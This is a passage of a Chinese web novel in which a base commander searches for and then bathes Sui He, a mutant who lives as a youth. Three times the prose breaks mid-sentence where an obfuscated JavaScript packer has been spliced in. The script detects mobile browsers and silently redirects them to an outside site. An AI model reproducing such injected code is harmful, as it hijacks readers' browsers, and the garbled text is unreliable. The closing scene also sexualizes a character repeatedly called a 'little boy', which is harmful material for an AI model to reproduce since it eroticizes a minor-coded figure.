这些安全隐患傅清洲倒是很配合,毕竟这关乎着整个安全基地的安危,自己也很担心。 只是做完检查之后,两位女孩看着屏幕上的数据,叽叽喳喳地说着什么,傅清洲完全听不懂。 还偶尔扭头看他一眼。 “是有什么问题吗?” 粉发女孩看着他,“打扰您一下指挥官大人,我想请问您之前是不是受过很严重的伤?比如……断臂之类的?” 傅清洲看向她们,最后摇了摇头,“我记不太清了,我醒来之后已经是两个月了,并且身体没有什么变化。” 而且,傅清洲和异变种打架的时候有断臂过吗? 他自己都记不清了。 两位女孩听完他的话之后,脸色皆是一遍,更加不可置信地看着眼前的屏幕,又扭头看了看傅清洲。 傅清洲倒是有些好奇了,于是走近她们,盯着她们跟前的屏幕,上面是傅清洲的身体扫描数据。 而每一份数据上面,都是不一样的伤痕,以及上面显示的,那个傅清洲记不太清的断臂。 “数据上显示,指挥官大人的心脏受过重伤,右手的胳膊曾经是断过的。”女孩们道:“以及腿部骨折,小腹被刺穿等等致命伤。” “但指挥官大人却完好无损地站在这里,会不会是博士的仪器出了问题。” 傅清洲看着那一堆数据,忽然有了一个不确定性的可能。 会不会是岁禾…… 毕竟他好像也可以治疗。 这个想法很快就从傅清洲的脑子里生根发芽了。 “没有被感染的异常,但其他的数据我们需要带给博士分析一下,到时候有消息了我们会通知您的。”粉发女孩道:“指挥官大人,您现在可以离开去找总指挥了。” 傅清洲点头,没有多留。 但过了一会儿,他又折回来,站在门口礼貌地敲了敲门,问:“你们这儿有消炎药吗?” “啊,有的。”女孩连忙给他拿了一瓶药递过去给他。 傅清洲接过,点了点手腕上的通讯器,“修好了会给你们付钱。” “没事的没事的!一瓶消炎药也不是很贵!指挥官大人不用给钱。只要大家都没事就好啦!” 傅清洲点头,把药放到自己的口袋里,然后径直离开前往总部。 他现在需要过去见一见自己的父亲,在之后就是前往研究室跟两位博士会面。 傅清洲忽然觉得好多事情要忙啊,不知道梵烬他们会带着岁禾去哪里。 见不到岁禾,傅清洲好像还真有点想他了。 想他在这个陌生的地方会不会不适应,双生子会不会照顾好他。 傅清洲一路前往总部。 “指挥官大人!”路上的士兵以及部分异能者都在朝他行礼。 到顶楼办公室的时候,傅清洲深吸一口气,敲响眼前的那扇门。 “进。” 傅清洲缓缓推开门走进去,看着坐在沙发上看资料的中年男人,先是敬了一个礼,便道:“总指挥官大人!第一小队队长以及指挥官向您问好!” “没有外人在,就不用这么严肃了。”傅雷抬眼看他,然后又继续低头看着手里的资料。 “父亲。”傅清洲走到他面前。 “嗯。”傅雷点了点头,把手里的东西往桌上一放,给他倒了一杯茶,“回来这么久还没喝过水吧?先喝一口缓一缓。” 傅清洲坐在他身边,端起那杯茶抿了一口,“我听安哲说你在森林里救了一个小男孩回来,据他说你还破例让他免去试炼直接进了第一小队?” “他很强。”傅清洲点头,“我没想到秦安哲会跟你说这些,这些都是无关紧要的事情。” 傅雷看着他,“这不算无关紧要的事情,在城门的事情我也听说了。沈赫看不透他的身份。” “清洲,这已经不是无关紧要的事情了。” 傅清洲深吸一口气,道:“是,他救了我,救了阿烬和阿溯,所以我想把他带回来。” “为什么破例?”傅雷问他,“如果他足够强,那完全可以依靠自己的能力进入第一小队。” 傅清洲抿着唇,“我跟秦安哲说过的,如果不服气,等他的伤好了,二人可以进行一番决斗,如果能打赢秦安哲,那就证明我的破例是对的。” “但如果打不赢呢?你确定会让他离开第一小队吗?” 傅清洲犹豫了一下,“会。” “你犹豫了。” 傅清洲低下头,没说什么。 “清洲,我不是要干涩你们第一小队的事情,只是我觉得吧……人一旦对一个人有了破例,就会有第二次,你从未对别人如此,这个小男孩,或许有你值得欣赏的地方。” “但是,你要记住一件事。” “你是指挥官大人,你不能对任何人心软,特别是在这个即将崩塌的世界。” 32. 第 32 章 从傅雷办公室出来之后,傅清洲深吸一口气,最后叹息了一声。 和自己父亲聊了很多,父子俩算起来也有好几个月没见了,除去汇报情况还聊了一些家常。 对于傅清洲来说,他其实只在意傅雷跟他说的那几句话,不止关于他自己,还关于岁禾。 指挥官不能对任何人心软。 更何况是总指挥官,傅雷是要把他培养成总指挥官的。 在这个即将崩塌的世界里,只有强者才能生存,而弱者只能依附强者来生存。如果没有指挥官的话,这个安全基地早就烂透了,不知道会乱成什么样子。 傅清洲也很清楚,父亲说的那两句话到底是什么意思,他们是父子,是血缘关系最亲的存在,不会不了解对方的为人。 他从未对任何人有过心软,也没有人能在傅清洲这里得到破例。岁禾是第一个破例的人,所以傅雷的话他很清楚到底是什么意思。 指挥官只要对一个人心软,那就会有第二个、第三个。 傅清洲在门口边站了一会儿,看着来来往往前来报告的士兵们,才慢慢抬起脚步往外面走去。 刚从总部大楼出来的时候,傅清洲就被拦住了去路,是张博士和安博士的两位助手。 “指挥官大人,请跟我们走一趟!”两位助手朝他行了个礼,然后指向面前的一辆车。 傅清洲点点头,跟着他们上了车。 从总部到研究院还有很长的一段距离,两位博士已经派人过来接他了,估计是已经等得太久了。 从傅清洲回到安全基地门口的时候,整个安全基地都知道第一小队回来了。相信两位博士的信息也不会很慢。 傅清洲跟两位博士的关系所谓就是他带着异变种回来给他们做研究。 车子稳稳停在一幢圆顶的房子面前,两位助手给傅清洲开门,“指挥官大人,请吧,博士们已经等你许久了。” 平日里还好,但傅清洲也不理解这次两位博士为什么这么着急见他,带着疑问,傅清洲跟着两位助手一路坐电梯来到了实验室。 两位博士已经等候多时了。 “博士,指挥官大人到了!”两位助手按下门外的一个按钮,对着里面说话。 紧接着,眼前的门缓缓被打开,傅清洲走进去,而身后的两位助手已经识趣地推开了。 门又被关上了。 傅清洲还没站稳,就被两位老人一左一右地抓住胳膊,然后在他身上打量着。 “博士…”傅清洲有些无奈,面对这两个上了年纪的博士,他确实有些无可奈何。 而且两位博士对安全基地有着很大的贡献,威严也算是比得上总指挥了,很受人尊敬。 “别乱动,让我们看看。”张博士开口:“听说安老头新研究的机器给你用了,那两位小医师给我们报备了一声,你好像断臂了?” “看着也不像啊,怎么回事?”安博士抬起他的胳膊又放下,也没觉得有什么奇怪的,“嘶,难道是我的机器有问题?不可能啊。” 傅清洲把自己的手抽回来,推着两位博士往前走,“停,我不记得这个事情了,所以跳过这个话题,现在我还是完好无损的。” “行,跳过这个话题,换成另一个,听说你带了一个小男孩回来?” 傅清洲扶额,有些无奈。 怎么都在说这个事情? 没完没了。 “是。” 安博士接话,“听说沈赫那小子看不透他的身份,你小子有什么想法?能不能带过来给我们研究研究?” 听完这句话之后,傅清洲心底有了一丝紧张,但面上却没有表现出来,依旧是从容淡定的模样。 “人家不愿意,我也没办法带过来。”傅清洲缓缓说道,完全忘记了自己一开始的目的就是把岁禾带回安全基地交给两位博士进行研究。 或许不是呢? 只是一个巧合呢? 凭借别人类的本事也能拯救这个崩塌的世界吧。 但是真的能如此吗? 傅清洲又回答了一些博士的问题,最后跟着他们抽了一管血之后才准备离开。 离开的时候,傅清洲路过实验台,瞥见上面储存罐里面的高级晶核,犹豫了一下,问:“博士,这个高级晶核,你们研究出什么了吗?目前有人可以吸收吗?” 张博士走过来摇摇头,“目前依旧没有人能吸收,也不知道到底有什么用。” “我记得研究院里有两颗高级晶核吧?能给我一颗吗?” “你想干嘛?臭小子,你不会为了变强偷偷拿去吸收吗?” 这倒不是因为这样,而是傅清洲想到了岁禾说的那些话。他说只有黑色晶核才是最好吃的,而那些低、中级的晶核有些难吃。 晶核是岁禾的食物。 “不是。” “那你要干嘛?这东西研究不出来有什么用,也不能供异能者吸收,跟普通的石头一样根本就没用。” 傅清洲又摇头,“不,有用。” 说完之后他才反应过来自己好像说出了什么,刚刚在想岁禾想得太过入神了,这会儿就把心里想的事情直接说出来了。 两位博士还是出了名的难缠。 一抬头,果然就看见了两位博士在盯着他看,傅清洲尴尬地跟他们笑了笑,“我还有事,我就先走了。” “不说清楚你今天就别想走了!”张博士拦住了他的去路,“到底有什么用,说吧。” “我们两个老头子研究了这么久都不知道有什么用,你小子只是消失了一趟就知道有什么用了?” 傅清洲盯着他们,“说了你们会给我吗?” 这个应该也不会有什么影响吧,只要不让两位博士接近岁禾就行了。 两位博士对视了一眼,然后点头,“行,你说,分你一颗也没关系。” 傅清洲靠在实验台上,看着上面那些零碎的实验品,然后缓缓道:“我带回来的那个人,能吸收黑色晶核。” “怎么可能!”安博士率先否认,“连你父亲都没办法承受住的后果,你带回来的那个小男孩才多大,怎么可能承受?” 傅清洲抬眼看着他,“我亲眼所见。” “这根本就不可能!” 傅清洲的手伸向实验台上储存罐里的黑色晶核,拿在手上的时候还有些温度,“我已经说了,两位博士信不信我就不知道了,晶核我就拿走了。” “等等!” 生怕两位博士套话,傅清洲连忙加快步伐离开了这间实验室。 “臭小子!跑那么快跟别人会把他吃掉一样!”安博士气呼呼地开口:“老张,你说那个小男孩真的有这个本事?等着被爆体吧!” 张博士,摸了摸自己的胡子,“说不定呢?不过这臭小子肯跟我们说已经很不错了,至于我们要怎么去见识一下那个小男孩,只能用一些非常手段了。” 毕竟傅清洲说了这个秘密之后,肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15868119|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会对他们有所防备。 傅清洲从实验室出来之后,外面的天色已经黑下来了,各家各户缓缓开启了灯。他想联系一下梵烬他们,询问一下岁禾现在正在哪里。 但他才想起来自己的通讯器好像坏了,于是只能先前往总部报备一下换一个新的通讯器。 —— 双生子离开之后,岁禾迈着脚步进了城门,率先看见的是热闹非凡的集市,他站在原地有些无措。 从来没见过这么热闹的地方,也没见过这么繁华的地方,更没见过这么多人,岁禾一下子不知道该怎么办了。 他在原地站了一会儿,身上还背着那一背包的晶核。 “小弟弟,怎么站在这里?是被抛弃了吗?”不知道哪里忽然冒出来一个强壮的男人跟岁禾搭话。 岁禾看着他,仿佛是看见了救星一样,他回想着双生子留给他的地址,连忙问道:“你知道西巷怎么走吗?” 强壮的男人似乎笑了一下,“哪个西巷?是内城的西巷还是外城的西巷?是西巷2号还是西巷3号?小弟弟,问路也要有个具体的地址啊!” 岁禾听完之后眉头皱起来,有些不理解这到底是有什么区别,他拧着眉头仔细回想了一下双生子说的话,确实只是说了西巷两个字啊。 那剩下的到底是什么? “就是西巷呀!”岁禾又乖乖地说着:“我不知道是西巷哪里,但是我朋友跟我说就是西巷。” 强壮的男人发出一声嗤笑,然后道:“要不然,我带你一个个找吧?” 岁禾犹豫了一下。 眼前的男人的视线让他觉得浑身都不舒服,但在这里太多人了,岁禾感应不到傅清洲的存在,只能按照双生子给的信息去寻找。 而且他也没办法联系傅清洲他们。 应该跟傅清洲离开的,但是他好像有很重要的事情,岁禾觉得跟上去也没用。 即使这个男人的视线很让他不舒服,但岁禾还是点了点头,“好,那你带我去吧。” 男人笑了一下,“可以,走吧,我带你过去。” 岁禾没有多想,跟着男人的步伐一路往前走,只是越走就越觉得奇怪,从繁华的街道走到了一条小巷子。 “去西巷要经过这里吗?”岁禾真诚地发问,“为什么这里这么偏僻,刚刚那里这么多人?” 前面的男人没有说话,岁禾歪了歪头,男人很高大,完全挡住了他的视线,岁禾根本没看见远处就是尽头,根本就不是什么去西巷的路。 忽然,眼前的男人停下来,岁禾也跟着停下来,还没开口说话呢,旁边就跳出两个人。 岁禾警惕地看着他们,有些疑惑,“你不是要带我去西巷吗?” 男人笑了一下,“谁要带你去西巷?没想到你这么好骗。” 岁禾皱了皱眉,扭头就往回走。 “去哪儿呢?”身后的人拦住了他的去路,“来都来了,给哥几个快活一下呗,不知道味道怎么样,看起来挺嫩的。” 岁禾听不懂他们在说什么,绕过他就直接离开。 手腕被那猥琐的男人抓住,岁禾回头冷冷地看着他,“放手!” “小家伙还挺有个性,不过嘛,哥几个挺喜欢的。”猥琐的男人说完,那几个跟着一起笑起来。 刺耳的笑声以及那样的眼神让岁禾十分恶心,他盯着自己手腕上的手,另一只手也抬起来放在他手腕上,轻轻一拧。 “我说放手,听不见吗?” 33. 第 33 章 深处的巷子里传出一阵哀嚎声,路过的人纷纷围堵在巷子转角,却没一个人敢上前。 也无人能看清里面到底发生了什么,只知道有一个高大强壮的男人把一个少年模样的人带进去。 岁禾盯着眼前的人,扬着下巴,面无表情地开口:“为什么骗我?” 眼前那个猥琐的男人疼得握住了自己的手,“兔崽子!给我上!” 一根藤蔓从地底里长出来,绕到三人面前一人给了一藤条,最后又在他们脸上扇了一巴掌,打得三人措不及防。 岁禾没有功夫理他们,转身缓缓朝着巷子外走去。那一群人看着这个少年模样的人能安全走出来的时候皆是有些震惊。 “请问,西巷怎么去?”岁禾再次站定在众人面前,礼貌地开口。 他现在需要先找到傅清洲,在这个人生地不熟的地方,他根本不知道要去哪里。 岁禾现在是一个无处可去的人。 这一群人类七嘴八舌地不知道说什么,但岁禾还是从中得到了一个消息,那就是和那个恶心的男人一样,西巷分为很多种。 岁禾不知道傅清洲在哪里。 人群太多也感应不到具体的位置。 岁禾叹息一声,慢悠悠地挤出人群,又继续往前走。 这个安全基地实在太大了,岁禾走得脚都累了都没问到西巷到底在哪里,再加上他脚上还有伤,越走越难受。 最后他委屈得不行,决定不找了,坐在路边的长椅上坐着,不知道该去哪里。 看着这车水马龙的地方,岁禾只能抱紧自己的背包缩在路边的长椅上。 他从白日一直坐到晚上,街道亮起了灯光,人也慢慢变少了,岁禾依旧感应不到傅清洲的位置,他越来越委屈,不知道要在这个陌生的地方干什么。 他想回森林了。 傅清洲换了一个新的通讯器,正在往家的方向走去,看着天色慢慢变暗,连忙给梵烬他们打去电话。 “队长,怎么了?”通讯器里出现了梵烬的脸,一会儿又凑出来一个梵溯。 “岁禾呢?”傅清洲直接开门见山。 双生子对视了一下,“不是告诉他地址了吗?没去找你吗?” 说完之后双生子才反应过来,岁禾好像还没来过安全基地,一直都是在山里生活的。 “他能知道路?”傅清洲烦躁地挠了挠头发,然后道:“快找人啊!” 万一出事了怎么办? 岁禾还不是一个普通的异能者,他是变成人的异变种啊。 梵烬也意识到了这个问题,立马跳下来套外套,“知道了,现在就去找。” 万一岁禾失控了,那就真的完蛋了啊。 “啊,我也去帮忙!”梵溯赶紧跟上他哥的脚步,又回头拿了一件外套套上,“哥你等等我!” 和梵烬挂了电话之后,傅清洲大概得知他们是城门口分开的,双生子他们需要前往总部汇报情况。 所以没办法带上岁禾,但告诉了他地址,也忘了岁禾是第一次来到安全基地,根本不懂得这边的路。 傅清洲率先来到城门口,出乎意料地没在这边看见岁禾,他只能顺着城门口这条街道找下去。 只是还没开始走多久的时候,就被人拦住了去路。 “指挥官大人,您还好吗?” “指挥官大人,听说你受伤了,这些东西拿回去补一补身体吧。” “指挥官大人,您吃饭了吗?来吃一碗热乎的面吧?不要钱。” “指挥官大人……” 傅清洲抬手扶额,“停,首先谢谢大家,但是我现在还有别的事情,不知道你们有没有看见一个少年模样的小男孩在这边?” 几位店长互相对视了一眼,其中一个出声道:“有有有,就白天的时候,有个很强壮的男人说要带他去什么西巷,然后那小孩就跟着别人走了。” “唉,那个男人可不是什么好人啊,带着那小孩进了那边的巷子。” 傅清洲的心跟着揪起来,眉头也皱得死死的,“然后呢?” “那小孩可强了,一个人解决了三个人,然后又顺着那条路一直往前走了,去了哪里我们就不知道了。” 傅清洲点头和他们道谢,然后顺着这条街道一直往前走,期间也不忘给梵烬他们打电话。 “队长,这边我都找过了,都说没见过人,阿溯在东港那边,你继续往前找吧。我在去别的地方看看。” 岁禾身上还没有通讯器,联系不上,才导致这三个人一直在疯狂地找人。 傅清洲排除掉梵烬跟他报备过的那些路,顺着一条路走了许久才终于看见一个熟悉的身影。 岁禾坐在椅子上,怀里抱着背包蜷缩在角落,仰着头盯着这个漆黑的天空,和森林里的都不一样。这里没有明亮的星星,也没有亮得能照亮路的月亮。 什么都没有,漆黑一片,只有路灯散发出的光芒将他的影子拉得很长很长。 一道身影忽然出现在他面前,岁禾眨了眨酸涩的眼睛,缓缓直视着前方,在看见傅清洲之后眼睛都亮了起来。 “粥粥!” 傅清洲垂眸和他对视了一眼,点开手腕上的通讯器,给他们发信息说已经找到了。 随后,岁禾就扑上来把他抱住,声音格外的委屈,还带着一丝哽咽的声音,“你为什么才来找我?” 傅清洲顿了一下,抬起一只手放在他的后脑勺上轻轻顺了顺他的毛,“抱歉,是我来晚了,事情太多给忙忘了。” 岁禾抓着他腰间的衣服,一句话都没说,只是肩膀一抖一抖的。傅清洲把他从怀里拉开,果不其然看见他哭了。 顿时他有些无措了。 “哭什么?”傅清洲抬手抹去他眼尾上的泪水。 岁禾更委屈了,眼泪不要钱一样往下掉,“都怪你把我扔在这里,他们都欺负我!” “我在这里都不认识路,没有人帮我,我问了好多人西巷在哪里,他们都不理我。” “我找不到你,找不到阿烬他们,我不知道去哪里,我没有地方可以去,我以为你不要我了。” 他哭得可怜,傅清洲更加无措了,最后把他抱进怀里,然后道:“好了好了,没有不要你。” “真的吗?”岁禾在他怀里仰起头,眨着无辜的眼睛看他。那双渐变色的眼睛显得他可爱死了。 “回家。”傅清洲的拇指在他眼尾重重一碾,又擦去他眼角的泪,“不许哭了,不然不带你回去了。” 岁禾瞬间收声,眨着眼睛看他,最后吐出一句话,“凶死了。” 傅清洲抬手作势要揍他,岁禾完全不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15878960|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带怕的样子,理直气壮地看着他。最后傅清洲弹了弹他的额头,什么话也没说。 “我不想走了,脚疼。”岁禾扯着他的衣角,意图很明显。 傅清洲看着他,最后还是在他面前蹲下身。岁禾立马扬起一抹笑,拿起椅子上的背包就趴上去。 他搂着傅清洲的脖子,终于露出了一个笑脸,“粥粥,你怎么找到我的?” “大街随便抓个人问。”傅清洲背着他往前走着。 其实从这里到傅清洲的家已经没多远了,傅清洲出来也没开车,只是徒步的话还要走半个小时。 找人的时候,傅清洲一个一个抓着店家问到底有没有见过一个黑色头发的小男孩,那是他从来没有这样问过路,也没有这样慌张地找过人。 岁禾是第一个。 半个小时的路程,其实没有多远,作为一个战士,傅清洲还背着一个人,完全没有什么感觉,可偏偏背上的岁禾一直在跟他碎碎念,问他累不累之类的话。 听着岁禾的碎碎念,傅清洲只觉得安心了很多,在知道岁禾不见的时候,他在内心里幻想过无数种想法。 但好在他设想的那些事情都没有发生,岁禾很乖地坐在那里等着傅清洲来接他。 这就是最好的,也让傅清洲松了一口气,这样岁禾就不会很容易暴露原本的身份,不会被别人怀疑了。 他不知道库里尔教过岁禾多少人类的知识,但傅清洲觉得他应该有必要重新教一次,不然岁禾太容易暴露自己了,对什么都好奇。 “粥粥,为什么他们要欺负我?” 快要到西巷的时候,岁禾终于问出了他闷在心里许久的问题,是被那个男人带去角落里围堵,虽然最后被打的是那几个人。 可岁禾还是觉得不开心。 为什么要欺负他?为什么人人都不理他? 这和库里尔跟他说的人类世界不一样,不是说人类都是善良的吗?为什么要欺负人呢?就像那些异变种一样,为什么要欺负手无缚鸡之力的岁禾和善良的库里尔。 岁禾觉得自己想不明白。 “他们把你怎么样了?”傅清洲才想起来这个事情,缓缓开口。 岁禾的下巴抵着他的肩膀,又摇了摇头,道:“我把他们打趴下了,我不知道他们要对我怎么样,那个眼神看得我很不舒服。” “我讨厌那样的眼神。” 傅清洲带着他拐进西巷,前方有一幢装修很好看的房子,岁禾很快又被吸引了注意力。 这一幢房子在这一片区域里算是很明显的存在,装修风格和其他的都不一样。 “这里的人没你想的那么简单。”傅清洲背着他慢慢推开那幢房子的门,“其实不是都充满善意的。因为末日的来临,大家为了活命都会变得很自私。” “你在森林里待久了,自然不了解这些事情,但我想库里尔应该也教了你很多。” 傅清洲的房子里没有一丝灰尘,像是有人经常来打扫过了。这幢房子是两位博士送给他的,装修风格也是他父亲安排的。 “岁禾,这里和森林里不一样,不介意的话,我可以教你很多东西。” 岁禾搂着他的脖子笑眯眯的,“要学!” 作为异变种,他必须要学着如何在人类社会生存下来,这才是他的首要目的。 34. 第 34 章 一进门,岁禾就挣扎着从他身上下来,在到处逛了一圈之后又站定在傅清洲面前,“这是你家吗?好漂亮,和那天的不一样,这里更好看!” 他不知道该怎么形容这些地方,一张嘴除了好看和漂亮,就不知道说什么词语了。 傅清洲提着他的后腰带,把他拎到沙发上,“不是说脚痛?还跑什么?” 岁禾坐在沙发上,一下子又站起来,傅清洲疑惑地看着他。 “身上脏。”岁禾还记得他那天对自己说的话,脏兮兮的。 面对这样的回答,傅清洲一时之间不知道说什么,想着他竟然还知道爱干净,平常在泥地里打滚的时候也没见他说自己脏。 或许是因为这幢房子太干净了。 岁禾觉得自己和这里格格不入。 傅清洲没在说话,只是盯着他看了一会儿之后,才开始学着岁禾的样子在家里转了两圈,房子被打扫得很干净,和他走之前没什么两样。 最后傅清洲走向浴室,检查了一下家具有没有坏,然后又回到岁禾面前。 他一把抓着岁禾的手腕,扯着他进了浴室,“那就洗干净。” 岁禾歪了歪头,似乎不理解傅清洲的意思,又想起来之前傅清洲好像说过要洗洗,大概是那天搓澡给岁禾不好的印象。 他拔腿就跑。 傅清洲没想到他这么抗拒,一个没留神,就给他跑了。 “你又在闹什么?”傅清洲靠在浴室门口看着他,眉头微微皱起来,“赶紧过来。” “我不!”岁禾摇头,眼神坚定得很,仿佛不管傅清洲说什么都不会过去。 傅清洲抬手解下手腕上的通讯器,也没在管他,自己进浴室洗了个澡。 离开了好几个月,除去那天跟着岁禾在河边简单洗了一个澡,傅清洲也没怎么洗过澡,难得现在回到家了,所以他不会亏待自己。 至于岁禾,只要在这个人撒泼的时候不理他,他就会自己屁颠屁颠地过来。 果不其然,傅清洲洗完澡打开门的时候,就看见墙边盘腿坐着的小家伙,岁禾眨着眼睛可怜巴巴地望着他。 傅清洲依旧没有理他,只是和他对视着,手上还在擦头发。 在自己家,傅清洲没什么不好意思的,穿着浴袍露出了胸膛,腰间松松垮垮地系了一条腰带。随着擦头发的动作,胸口上的衣服越露越多。 岁禾看见了他胸口上的伤疤,有很多。 他张了张嘴,又不知道说什么,只是安静地看着傅清洲,等待着他开口。 但傅清洲从头到尾都没理他,擦完头发之后又进浴室把通讯器拿出来戴在手上,然后径直走到客厅上。 他把脏衣服扔进脏衣篓后,又去厨房烧了水,最后坐在沙发上安静地看起来了两位博士发给他的资料。 岁禾一脸震惊地看着他傅清洲做完这些事情,完全就不理自己。最后是他受不住了,从地上爬起来站在他面前。 “粥粥……” “嗯。”傅清洲淡淡应了一声,连看都不看他一眼。 岁禾蹲在他面前,身后靠着茶几,依旧可怜巴巴地看着他。 “有事吗?”傅清洲终于舍得放下手里的通讯器,看着脚边的岁禾,也不知道这么小的位置他到底是怎么蹲得下来的。 岁禾点头又摇头,不知道要说什么,又想伸手去抓他的衣角,但傅清洲身上的浴袍是白色的,他又怕把傅清洲的衣服弄脏了。 看着他这样子,傅清洲轻微勾了勾嘴角,又问了他一句,“要不要洗澡?” 岁禾轻微点了一下头,“可是上次弄得我好疼……” 傅清洲:…… “你……”傅清洲抬手扶额,“你下次别说这种话。” 岁禾不解地看着他。 算了,岁禾也听不懂。 傅清洲在内心里叹了一口气,拽着岁禾的手腕将他拉起来,重新进了浴室,把里面的东西都跟岁禾讲解了一半,扭头对上岁禾那懵懂无知的眼神之后,他瞬间就放弃了。 讲解什么的还不如亲自教他。 估计岁禾也听不懂。 浴室里的沐浴露洗发水都重新换新了,不清楚是自己父亲帮忙还是两位博士。 但傅清洲没有追问太多这些小事情。 岁禾站在他面前,懵懵懂懂地听完傅清洲的讲解之后,抬手按下花洒的开关,花洒瞬间就喷洒出水滴在岁禾的脸上。 岁禾被吓了一跳,“呜啊。” 傅清洲扭头就看见这一幕,只觉得好笑,他抬手把花洒的开关关掉,双手抱胸站在一边,“要我教你还是你自己来?” “要教,我不会。”岁禾老老实实地开口。 这些东西岁禾太陌生了,库里尔没有教过他,森林里也没有这种东西,所以岁禾根本就没有这种东西的使用记忆。 傅清洲点头,“行,把衣服脱了。” “噢噢。”岁禾二话不说就开始解衣服,结果解了半天都没有解开。 傅清洲看着他的动作,一边觉得他是真的一点都不害羞,让干嘛就干嘛,一边又觉得他真的很好笑很可爱。 要真觉得一个人可爱,或许真的没救了。 傅清洲笑完之后轻咳了几声,上前教他解开扣子,然后把里面的拉链拉下来。 岁禾的上半身一下子裸露在空气中,傅清洲一低头就看见了他腹部的那个伤口,虽然已经好了很多,但还是有些狰狞,那是为了给傅清洲挡下致命伤害的印记。 但傅清洲始终没能明白为什么岁禾给梵烬治疗的时候,身上能连伤口都不留,但到了自己身上就不一样了。 那个伤口狰狞,傅清洲盯着看了许久。 岁禾察觉到他的视线,牵着他的手在自己小腹上摸了摸,然后笑道:“已经不疼了,你不用担心我的!这点小伤对我来说很快就能愈合了。” 他身上的体温有些烫人,傅清洲愣了一下立马就抽回自己的手,“没担心你,继续脱吧。” 裤子倒是很简单了,这次岁禾知道该怎么脱,他把自己脱光之后,一脸自豪地站在傅清洲面前,“怎么样?我厉害吧?” “嗯。”傅清洲移开了视线,拿起墙上挂着的花洒,摁下开关试了一下水温,然后从头到尾给岁禾来了一下。 “你干嘛呀!”岁禾甩了甩脑袋上的水,一脸不开心。 “给你洗澡。”傅清洲面无表情地说着,视线却一直没看向他的方向。 他重新把花洒挂回墙上,但水却没关,淅淅沥沥地洒在地板上。 傅清洲深吸一口气,拽着岁禾站在花洒底下,道:“我只教你一次,自己要学会,听懂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886541|174721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” 岁禾点了点头。 花洒打湿了岁禾的头发,头发盖住了他的眼睛,水流顺着头发往下流,岁禾只觉得有些难受,和在河水里洗澡完全不一样。 傅清洲撩开他额前的头发,在旁边挤下洗发水在手心搓了搓,就开始往他头上揉搓。 头发瞬间起了泡沫,一股香味飘进岁禾的鼻子,他盯着旁边的镜子,看着傅清洲的动作,嘴里的问题又开始多了起来。 “这个是什么东西?为什么会起泡泡?” “洗发水,以后洗澡都要用,懂了吗?”傅清洲面无表情地回答着他的问题。 岁禾“哦”了一声之后又开始伸手抓着头上的泡泡,给傅清洲捣乱。 他抓了一手泡泡,转头看向傅清洲,在他脸上沾了一点,扬起笑容,“嘿嘿嘿,粥粥,你现在也是脏小孩!” 傅清洲无奈地笑了一下,抬起手在他脸上都抹满了泡泡,只留下一双眼睛和嘴巴。 “你使坏!”岁禾气呼呼地开口。 傅清洲眉眼里带着笑,“把眼睛闭上。”他抬手又重新摁下花洒的开关,水落在岁禾头顶上,冲走了那些白色的泡沫。 给岁禾搓完头发之后,岁禾只觉得脑袋都轻松了不少,开心地晃了晃脑袋,下一秒就被一条干毛巾盖住,傅清洲的手落下来,“擦干点,然后继续洗澡。” 等头发也擦完了,傅清洲又扭头去拿什么。岁禾小心翼翼地跟在他身后,手里拿着那条半干不干的毛巾,想对傅清洲使坏。 结果下一秒就踩到地面上的水下一个打滑就往前面扑去。 傅清洲听见动静连忙回头,被岁禾扑了个满怀,最后两个人双双倒在厕所里。 “好痛。”岁禾的脑袋磕到了傅清洲的胸膛,爬起来之后直接坐在他腰上,揉了揉被磕疼的额头。 傅清洲张开眼看着他这模样,又缓缓闭上了眼睛。 腰上的腰带原本就系得松松垮垮的,被岁禾这一闹,一下子就散了,浴袍大敞开来。 关键是岁禾还光着坐在他腰上。 傅清洲连眼睛都不敢睁开,面对这样的视觉冲击,他真的不知道该怎么办了。 原本就对岁禾有着那点小心思,这下子好了,人就这样什么都不懂地坐在他身上,嘴里还在呼痛。 “粥粥……你的身体好硬。”岁禾揉着额头抱怨着。 傅清洲深吸一口气,企图压下那股邪念,但越是这样他的反应就越明显,最后声音有些嘶哑地开口:“从我身上起来。” “起来就起来嘛,这么凶干嘛?”岁禾不满地爬起来。 还没等他反应过来,就被傅清洲从身后揽住了。 傅清洲把他带到花洒下面,调低了花洒的水温,挤了沐浴露就往他身上抹,“早点洗完早点出去。” 岁禾浑身都被他搓了一个遍,刚刚摔了一下晕乎乎的,什么都没看懂,只感觉到身后好像有根棍子抵在他腰上。 每次岁禾想回头,或者想伸手过去看看是什么的时候,都会被傅清洲阻拦。 